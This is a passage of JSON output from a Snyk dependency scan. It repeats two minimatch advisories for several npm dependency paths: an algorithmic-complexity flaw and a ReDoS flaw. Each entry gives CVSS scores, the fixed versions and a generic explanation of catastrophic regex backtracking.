"2026-10-15T14:05:43.062666Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmpublish@11.1.3", "npm-registry-fetch@19.1.1", "make-fetch-happen@15.0.4", "cacache@20.0.3", "glob@13.0.6", "minimatch@10.2.2" ], "upgradePath": [ false, "npm@11.11.0", "libnpmpublish@11.2.1", "npm-registry-fetch@19.1.1", "make-fetch-happen@15.0.6", "cacache@20.0.4", "glob@13.0.6", "minimatch@10.2.6" ], "isUpgradable": true, "isPatchable": false, "name": "minimatch", "version": "10.2.2" }, { "id": "SNYK-JS-MINIMATCH-15353389", "title": "Inefficient Algorithmic Complexity", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "credit": [ "dolevmiz1" ], "semver": { "vulnerable": [ "<3.1.3", ">=4.0.0 <4.2.5", ">=5.0.0 <5.1.8", ">=6.0.0 <6.2.2", ">=7.0.0 <7.4.8", ">=8.0.0 <8.0.6", ">=9.0.0 <9.0.7", ">=10.0.0 <10.2.3" ] }, "exploit": "Proof of Concept", "fixedIn": [ "3.1.3", "4.2.5", "5.1.8", "6.2.2", "7.4.8", "8.0.6", "9.0.7", "10.2.3" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "minimatch", "references": [ { "url": "https://github.com/isaacs/minimatch/commit/0bf499aa45f5059b56809cc3b75ff3eafeb8d748", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 5.9, "modificationTime": "2026-02-27T07:22:25.114296Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-10-15T14:05:42.723499Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-10-15T14:05:42.723499Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "medium", "baseScore": 5.9, "cvssVersion": "3.1", "modificationTime": "2026-02-27T07:22:25.114296Z" } ], "description": "## Overview\n[minimatch](https://www.npmjs.com/package/minimatch) is a minimal matching utility.\n\nAffected versions of this package are vulnerable to Inefficient Algorithmic Complexity via the `matchOne` function. An attacker can cause significant delays in processing and stall the event loop by supplying specially crafted glob patterns containing multiple non-adjacent GLOBSTAR segments.\n## Remediation\nUpgrade `minimatch` to version 3.1.3, 4.2.5, 5.1.8, 6.2.2, 7.4.8, 8.0.6, 9.0.7, 10.2.3 or higher.\n## References\n- [GitHub Commit](https://github.com/isaacs/minimatch/commit/0bf499aa45f5059b56809cc3b75ff3eafeb8d748)\n", "epssDetails": { "percentile": "0.47957", "probability": "0.00608", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-27903" ], "CWE": [ "CWE-407" ], "GHSA": [ "GHSA-7r86-cg39-jmmj" ] }, "packageName": "minimatch", "proprietary": false, "creationTime": "2026-02-26T08:12:16.643876Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-02-26T03:13:19Z", "exploitDetails": { "sources": [ "Snyk" ], "maturityLevels": [ { "type": "secondary", "level": "Proof of Concept", "format": "CVSSv3" }, { "type": "primary", "level": "Proof of Concept", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-02-26T08:12:16.955036Z", "severityBasedOn": "CVSS", "modificationTime": "2026-10-15T14:05:42.723499Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmpublish@11.1.3", "npm-registry-fetch@19.1.1", "make-fetch-happen@15.0.4", "cacache@20.0.3", "glob@13.0.6", "minimatch@10.2.2" ], "upgradePath": [ false, "npm@11.11.0", "libnpmpublish@11.2.1", "npm-registry-fetch@19.1.1", "make-fetch-happen@15.0.6", "cacache@20.0.4", "glob@13.0.6", "minimatch@10.2.6" ], "isUpgradable": true, "isPatchable": false, "name": "minimatch", "version": "10.2.2" }, { "id": "SNYK-JS-MINIMATCH-15353387", "title": "Regular Expression Denial of Service (ReDoS)", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "credit": [ "dolevmiz1" ], "semver": { "vulnerable": [ ">=8.0.0 <8.0.6", ">=9.0.0 <9.0.7", ">=10.0.0 <10.2.3" ] }, "exploit": "Proof of Concept", "fixedIn": [ "8.0.6", "9.0.7", "10.2.3" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "minimatch", "references": [ { "url": "https://github.com/isaacs/minimatch/commit/11d0df6165d15a955462316b26d52e5efae06fce", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 6.5, "modificationTime": "2026-03-03T05:30:32.172942Z" }, { "assigner": "SUSE", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-07-28T11:07:18.656607Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-10-15T14:05:43.062666Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-10-15T14:05:43.062666Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "medium", "baseScore": 6.5, "cvssVersion": "3.1", "modificationTime": "2026-03-03T05:30:32.172942Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "SUSE", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-07-28T11:07:18.656607Z" } ], "description": "## Overview\n[minimatch](https://www.npmjs.com/package/minimatch) is a minimal matching utility.\n\nAffected versions of this package are vulnerable to Regular Expression Denial of Service (ReDoS). An attacker can cause excessive resource consumption and application unresponsiveness by supplying specially crafted nested `extglob` patterns that trigger catastrophic backtracking in the regular expression engine.\n\n## Details\n\nDenial of Service (DoS) describes a family of attacks, all aimed at making a system inaccessible to its original and legitimate users. There are many types of DoS attacks, ranging from trying to clog the network pipes to the system by generating a large volume of traffic from many machines (a Distributed Denial of Service - DDoS - attack) to sending crafted requests that cause a system to crash or take a disproportional amount of time to process.\n\nThe Regular expression Denial of Service (ReDoS) is a type of Denial of Service attack. Regular expressions are incredibly powerful, but they aren't very intuitive and can ultimately end up making it easy for attackers to take your site down.\n\nLet’s take the following regular expression as an example:\n```js\nregex = /A(B|C+)+D/\n```\n\nThis regular expression accomplishes the following:\n- `A` The string must start with the letter 'A'\n- `(B|C+)+` The string must then follow the letter A with either the letter 'B' or some number of occurrences of the letter 'C' (the `+` matches one or more times). The `+` at the end of this section states that we can look for one or more matches of this section.\n- `D` Finally, we ensure this section of the string ends with a 'D'\n\nThe expression would match inputs such as `ABBD`, `ABCCCCD`, `ABCBCCCD` and `ACCCCCD`\n\nIt most cases, it doesn't take very long for a regex engine to find a match:\n\n```bash\n$ time node -e '/A(B|C+)+D/.test(\"ACCCCCCCCCCCCCCCCCCCCCCCCCCCCD\")'\n0.04s user 0.01s system 95% cpu 0.052 total\n\n$ time node -e '/A(B|C+)+D/.test(\"ACCCCCCCCCCCCCCCCCCCCCCCCCCCCX\")'\n1.79s user 0.02s system 99% cpu 1.812 total\n```\n\nThe entire process of testing it against a 30 characters long string takes around ~52ms. But when given an invalid string, it takes nearly two seconds to complete the test, over ten times as long as it took to test a valid string. The dramatic difference is due to the way regular expressions get evaluated.\n\nMost Regex engines will work very similarly (with minor differences). The engine will match the first possible way to accept the current character and proceed to the next one. If it then fails to match the next one, it will backtrack and see if there was another way to digest the previous character. If it goes too far down the rabbit hole only to find out the string doesn’t match in the end, and if many characters have multiple valid regex paths, the number of backtracking steps can become very large, resulting in what is known as _catastrophic backtracking_.\n\nLet's look at how our expression runs into this problem, using a shorter string: \"ACCCX\". While it seems fairly straightforward, there are still four different ways that the engine could match those three C's:\n1. CCC\n2. CC+C\n3. C+CC\n4. C+C+C.\n\nThe engine has to try each of those combinations to see if any of them potentially match against the expression. When you combine that with the other steps the engine must take, we can use [RegEx 101 debugger](https://regex101.com/debugger) to see the engine has to take a total of 38 steps before it can determine the string doesn't match.\n\nFrom there, the number of steps the engine must use to validate a string just continues to grow.\n\n| String | Number of C's | Number of steps |\n| -------|-------------:| -----:|\n| ACCCX | 3 | 38\n| ACCCCX | 4 | 71\n| ACCCCCX | 5 | 136\n| ACCCCCCCCCCCCCCX | 14 | 65,553\n\n\nBy the time the string includes 14 C's, the engine has to take over 65,000 steps just to see if the string is valid. These extreme situations can cause them to work very slowly (exponentially related to input size, as shown above), allowing an attacker to exploit this and can cause the service to excessively consume CPU, resulting in a Denial of Service.\n\n## Remediation\nUpgrade `minimatch` to version 8.0.6, 9.0.7, 10.2.3 or higher.\n## References\n- [GitHub Commit](https://github.com/isaacs/minimatch/commit/11d0df6165d15a955462316b26d52e5efae06fce)\n", "epssDetails": { "percentile": "0.42587", "probability": "0.00516", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-27904" ], "CWE": [ "CWE-1333" ], "GHSA": [ "GHSA-23c5-xmqv-rm74" ] }, "packageName": "minimatch", "proprietary": false, "creationTime": "2026-02-26T08:02:21.057843Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-02-26T03:11:41Z", "exploitDetails": { "sources": [ "Snyk" ], "maturityLevels": [ { "type": "secondary", "level": "Proof of Concept", "format": "CVSSv3" }, { "type": "primary", "level": "Proof of Concept", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-02-26T08:02:21.526254Z", "severityBasedOn": "CVSS", "modificationTime": "2026-10-15T14:05:43.062666Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmsearch@9.0.1", "npm-registry-fetch@19.1.1", "make-fetch-happen@15.0.4", "cacache@20.0.3", "glob@13.0.6", "minimatch@10.2.2" ], "upgradePath": [ false, "npm@11.11.0", "libnpmsearch@9.0.1", "npm-registry-fetch@19.1.1", "make-fetch-happen@15.0.6", "cacache@20.0.4", "glob@13.0.6", "minimatch@10.2.6" ], "isUpgradable": true, "isPatchable": false, "name": "minimatch", "version": "10.2.2" }, { "id": "SNYK-JS-MINIMATCH-15353389", "title": "Inefficient Algorithmic Complexity", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "credit": [ "dolevmiz1" ], "semver": { "vulnerable": [ "<3.1.3", ">=4.0.0 <4.2.5", ">=5.0.0 <5.1.8", ">=6.0.0 <6.2.2", ">=7.0.0 <7.4.8", ">=8.0.0 <8.0.6", ">=9.0.0 <9.0.7", ">=10.0.0 <10.2.3" ] }, "exploit": "Proof of Concept", "fixedIn": [ "3.1.3", "4.2.5", "5.1.8", "6.2.2", "7.4.8", "8.0.6", "9.0.7", "10.2.3" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "minimatch", "references": [ { "url": "https://github.com/isaacs/minimatch/commit/0bf499aa45f5059b56809cc3b75ff3eafeb8d748", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 5.9, "modificationTime": "2026-02-27T07:22:25.114296Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-10-15T14:05:42.723499Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-10-15T14:05:42.723499Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "medium", "baseScore": 5.9, "cvssVersion": "3.1", "modificationTime": "2026-02-27T07:22:25.114296Z" } ], "description": "## Overview\n[minimatch](https://www.npmjs.com/package/minimatch) is a minimal matching utility.\n\nAffected versions of this package are vulnerable to Inefficient Algorithmic Complexity via the `matchOne` function. An attacker can cause significant delays in processing and stall the event loop by supplying specially crafted glob patterns containing multiple non-adjacent GLOBSTAR segments.\n## Remediation\nUpgrade `minimatch` to version 3.1.3, 4.2.5, 5.1.8, 6.2.2, 7.4.8, 8.0.6, 9.0.7, 10.2.3 or higher.\n## References\n- [GitHub Commit](https://github.com/isaacs/minimatch/commit/0bf499aa45f5059b56809cc3b75ff3eafeb8d748)\n", "epssDetails": { "percentile": "0.47957", "probability": "0.00608", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-27903" ], "CWE": [ "CWE-407" ], "GHSA": [ "GHSA-7r86-cg39-jmmj" ] }, "packageName": "minimatch", "proprietary": false, "creationTime": "2026-02-26T08:12:16.643876Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-02-26T03:13:19Z", "exploitDetails": { "sources": [ "Snyk" ], "maturityLevels": [ { "type": "secondary", "level": "Proof of Concept", "format": "CVSSv3" }, { "type": "primary", "level": "Proof of Concept", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-02-26T08:12:16.955036Z", "severityBasedOn": "CVSS", "modificationTime": "2026-10-15T14:05:42.723499Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmsearch@9.0.1", "npm-registry-fetch@19.1.1", "make-fetch-happen@15.0.4", "cacache@20.0.3", "glob@13.0.6", "minimatch@10.2.2" ], "upgradePath": [ false, "npm@11.11.0", "libnpmsearch@9.0.1", "npm-registry-fetch@19.1.1", "make-fetch-happen@15.0.6", "cacache@20.0.4", "glob@13.0.6", "minimatch@10.2.6" ], "isUpgradable": true, "isPatchable": false, "name": "minimatch", "version": "10.2.2" }, { "id": "SNYK-JS-MINIMATCH-15353387", "title": "Regular Expression Denial of Service (ReDoS)", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "credit": [ "dolevmiz1" ], "semver": { "vulnerable": [ ">=8.0.0 <8.0.6", ">=9.0.0 <9.0.7", ">=10.0.0 <10.2.3" ] }, "exploit": "Proof of Concept", "fixedIn": [ "8.0.6", "9.0.7", "10.2.3" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "minimatch", "references": [ { "url": "https://github.com/isaacs/minimatch/commit/11d0df6165d15a955462316b26d52e5efae06fce", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 6.5, "modificationTime": "2026-03-03T05:30:32.172942Z" }, { "assigner": "SUSE", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-07-28T11:07:18.656607Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-10-15T14:05:43.062666Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-10-15T14:05:43.062666Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "medium", "baseScore": 6.5, "cvssVersion": "3.1", "modificationTime": "2026-03-03T05:30:32.172942Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "SUSE", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-07-28T11:07:18.656607Z" } ], "description": "## Overview\n[minimatch](https://www.npmjs.com/package/minimatch) is a minimal matching utility.\n\nAffected versions of this package are vulnerable to Regular Expression Denial of Service (ReDoS). An attacker can cause excessive resource consumption and application unresponsiveness by supplying specially crafted nested `extglob` patterns that trigger catastrophic backtracking in the regular expression engine.\n\n## Details\n\nDenial of Service (DoS) describes a family of attacks, all aimed at making a system inaccessible to its original and legitimate users. There are many types of DoS attacks, ranging from trying to clog the network pipes to the system by generating a large volume of traffic from many machines (a Distributed Denial of Service - DDoS - attack) to sending crafted requests that cause a system to crash or take a disproportional amount of time to process.\n\nThe Regular expression Denial of Service (ReDoS) is a type of Denial of Service attack. Regular expressions are incredibly powerful, but they aren't very intuitive and can ultimately end up making it easy for attackers to take your site down.\n\nLet’s take the following regular expression as an example:\n```js\nregex = /A(B|C+)+D/\n```\n\nThis regular expression accomplishes the following:\n- `A` The string must start with the letter 'A'\n- `(B|C+)+` The string must then follow the letter A with either the letter 'B' or some number of occurrences of the letter 'C' (the `+` matches one or more times). The `+` at the end of this section states that we can look for one or more matches of this section.\n- `D` Finally, we ensure this section of the string ends with a 'D'\n\nThe expression would match inputs such as `ABBD`, `ABCCCCD`, `ABCBCCCD` and `ACCCCCD`\n\nIt most cases, it doesn't take very long for a regex engine to find a match:\n\n```bash\n$ time node -e '/A(B|C+)+D/.test(\"ACCCCCCCCCCCCCCCCCCCCCCCCCCCCD\")'\n0.04s user 0.01s system 95% cpu 0.052 total\n\n$ time node -e '/A(B|C+)+D/.test(\"ACCCCCCCCCCCCCCCCCCCCCCCCCCCCX\")'\n1.79s user 0.02s system 99% cpu 1.812 total\n```\n\nThe entire process of testing it against a 30 characters long string takes around ~52ms. But when given an invalid string, it takes nearly two seconds to complete the test, over ten times as long as it took to test a valid string. The dramatic difference is due to the way regular expressions get evaluated.\n\nMost Regex engines will work very similarly (with minor differences). The engine will match the first possible way to accept the current character and proceed to the next one. If it then fails to match the next one, it will backtrack and see if there was another way to digest the previous character. If it goes too far down the rabbit hole only to find out the string doesn’t match in the end, and if many characters have multiple valid regex paths, the number of backtracking steps can become very large, resulting in what is known as _catastrophic backtracking_.\n\nLet's look at how our expression runs into this problem, using a shorter string: \"ACCCX\". While it seems fairly straightforward, there are still four different ways that the engine could match those three C's:\n1. CCC\n2. CC+C\n3. C+CC\n4. C+C+C.\n\nThe engine has to try each of those combinations to see if any of them potentially match against the expression. When you combine that with the other steps the engine must take, we can use [RegEx 101 debugger](https://regex101.com/debugger) to see the engine has to take a total of 38 steps before it can determine the string doesn't match.\n\nFrom there, the number of steps the engine must use to validate a string just continues to grow.\n\n| String | Number of C's | Number of steps |\n| -------|-------------:| -----:|\n| ACCCX | 3 | 38\n| ACCCCX | 4 | 71\n| ACCCCCX | 5 | 136\n| ACCCCCCCCCCCCCCX | 14 | 65,553\n\n\nBy the time the string includes 14 C's, the engine has to take over 65,000 steps just to see if the string is valid. These extreme situations can cause them to work very slowly (exponentially related to input size, as shown above), allowing an attacker to exploit this and can cause the service to excessively consume CPU, resulting in a Denial of Service.\n\n## Remediation\nUpgrade `minimatch` to version 8.0.6, 9.0.7, 10.2.3 or higher.\n## References\n- [GitHub Commit](https://github.com/isaacs/minimatch/commit/11d0df6165d15a955462316b26d52e5efae06fce)\n", "epssDetails": { "percentile": "0.42587", "probability": "0.00516", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-27904" ], "CWE": [ "CWE-1333" ], "GHSA": [ "GHSA-23c5-xmqv-rm74" ] }, "packageName": "minimatch", "proprietary": false, "creationTime": "2026-02-26T08:02:21.057843Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-02-26T03:11:41Z", "exploitDetails": { "sources": [ "Snyk" ], "maturityLevels": [ { "type": "secondary", "level": "Proof of Concept", "format": "CVSSv3" }, { "type": "primary", "level": "Proof of Concept", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-02-26T08:02:21.526254Z", "severityBasedOn": "CVSS", "modificationTime": "2026-10-15T14:05:43.062666Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmteam@8.0.2", "npm-registry-fetch@19.1.1", "make-fetch-happen@15.0.4", "cacache@20.0.3", "glob@13.0.6", "minimatch@10.2.2" ], "upgradePath": [ false, "npm@11.11.0", "libnpmteam@8.0.2", "npm-registry-fetch@19.1.1", "make-fetch-happen@15.0.6", "cacache@20.0.4", "glob@13.0.6", "minimatch@10.2.6" ], "isUpgradable": true, "isPatchable": false, "name": "minimatch", "version": "10.2.2" }, { "id": "SNYK-JS-MINIMATCH-15353389", "title": "Inefficient Algorithmic Complexity", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "credit": [ "dolevmiz1" ], "semver": { "vulnerable": [ "<3.1.3", ">=4.0.0 <4.2.5", ">=5.0.0 <5.1.8", ">=6.0.0 <6.2.2", ">=7.0.0 <7.4.8", ">=8.0.0 <8.0.6", ">=9.0.0 <9.0.7", ">=10.0.0 <10.2.3" ] }, "exploit": "Proof of Concept", "fixedIn": [ "3.1.3", "4.2.5", "5.1.8", "6.2.2", "7.4.8", "8.0.6", "9.0.7", "10.2.3" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "minimatch", "references": [ { "url": "https://github.com/isaacs/minimatch/commit/0bf499aa45f5059b56809cc3b75ff3eafeb8d748", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 5.9, "modificationTime": "2026-02-27T07:22:25.114296Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-10-15T14:05:42.723499Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-10-15T14:05:42.723499Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "medium", "baseScore": 5.9, "cvssVersion": "3.1", "modificationTime": "2026-02-27T07:22:25.114296Z" } ], "description": "## Overview\n[minimatch](https://www.npmjs.com/package/minimatch) is a minimal matching utility.\n\nAffected versions of this package are vulnerable to Inefficient Algorithmic Complexity via the `matchOne` function. An attacker can cause significant delays in processing and stall the event loop by supplying specially crafted glob patterns containing multiple non-adjacent GLOBSTAR segments.\n## Remediation\nUpgrade `minimatch` to version 3.1.3, 4.2.5, 5.1.8, 6.2.2, 7.4.8, 8.0.6, 9.0.7, 10.2.3 or higher.\n## References\n- [GitHub Commit](https://github.com/isaacs/minimatch/commit/0bf499aa45f5059b56809cc3b75ff3eafeb8d748)\n", "epssDetails": { "percentile": "0.47957", "probability": "0.00608", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-27903" ], "CWE": [ "CWE-407" ], "GHSA": [ "GHSA-7r86-cg39-jmmj" ] }, "packageName": "minimatch", "proprietary": false, "creationTime": "2026-02-26T08:12:16.643876Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-02-26T03:13:19Z", "exploitDetails": { "sources": [ "Snyk" ], "maturityLevels": [ { "type": "secondary", "level": "Proof of Concept", "format": "CVSSv3" }, { "type": "primary", "level": "Proof of Concept", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-02-26T08:12:16.955036Z", "severityBasedOn": "CVSS", "modificationTime": "2026-10-15T14:05:42.723499Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmteam@8.0.2", "npm-registry-fetch@19.1.1", "make-fetch-happen@15.0.4", "cacache@20.0.3", "glob@13.0.6", "minimatch@10.2.2" ], "upgradePath": [ false, "npm@11.11.0", "libnpmteam@8.0.2", "npm-registry-fetch@19.1.1", "make-fetch-happen@15.0.6", "cacache@20.0.4", "glob@13.0.6", "minimatch@10.2.6" ], "isUpgradable": true, "isPatchable": false, "name": "minimatch", "version": "10.2.2" }, { "id": "SNYK-JS-MINIMATCH-15353387", "title": "Regular Expression Denial of Service (ReDoS)", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "credit": [ "dolevmiz1" ], "semver": { "vulnerable": [ ">=8.0.0 <8.0.6", ">=9.0.0 <9.0.7", ">=10.0.0 <10.2.3" ] }, "exploit": "Proof of Concept", "fixedIn": [ "8.0.6", "9.0.7", "10.2.3" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "minimatch", "references": [ { "url": "https://github.com/isaacs/minimatch/commit/11d0df6165d15a955462316b26d52e5efae06fce", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 6.5, "modificationTime": "2026-03-03T05:30:32.172942Z" }, { "assigner": "SUSE", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-07-28T11:07:18.656607Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-10-15T14:05:43.062666Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-10-15T14:05:43.062666Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "medium", "baseScore": 6.5, "cvssVersion": "3.1", "modificationTime": "2026-03-03T05:30:32.172942Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "SUSE", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-07-28T11:07:18.656607Z" } ], "description": "## Overview\n[minimatch](https://www.npmjs.com/package/minimatch) is a minimal matching utility.\n\nAffected versions of this package are vulnerable to Regular Expression Denial of Service (ReDoS). An attacker can cause excessive resource consumption and application unresponsiveness by supplying specially crafted nested `extglob` patterns that trigger catastrophic backtracking in the regular expression engine.\n\n## Details\n\nDenial of Service (DoS) describes a family of attacks, all aimed at making a system inaccessible to its original and legitimate users. There are many types of DoS attacks, ranging from trying to clog the network pipes to the system by generating a large volume of traffic from many machines (a Distributed Denial of Service - DDoS - attack) to sending crafted requests that cause a system to crash or take a disproportional amount of time to process.\n\nThe Regular expression Denial of Service (ReDoS) is a type of Denial of Service attack. Regular expressions are incredibly powerful, but they aren't very intuitive and can ultimately end up making it easy for attackers to take your site down.\n\nLet’s take the following regular expression as an example:\n```js\nregex = /A(B|C+)+D/\n```\n\nThis regular expression accomplishes the following:\n- `A` The string must start with the letter 'A'\n- `(B|C+)+` The string must then follow the letter A with either the letter 'B' or some number of 